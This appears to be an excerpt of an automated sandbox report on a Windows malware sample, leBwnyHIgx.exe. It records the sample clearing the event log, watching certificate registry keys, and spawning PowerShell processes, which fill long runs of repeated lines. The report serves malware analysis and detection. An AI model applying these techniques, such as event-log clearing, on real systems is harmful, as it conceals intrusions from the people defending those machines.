Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_005B261C IsIconic,GetWindowLongW,GetWindowLongW,GetActiveWindow,MessageBoxW,SetActiveWindow,	5_2_005B261C

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_0307B3C0 OpenEventLogW,OpenEventLogW,ClearEventLogW,CloseEventLog,

5_2_0307B3C0

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Key value created or modified: HKEY_CURRENT_USER\Console\0 9e9e85e05ee16fc372a0c7df6549fbd4

Jump to behavior

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
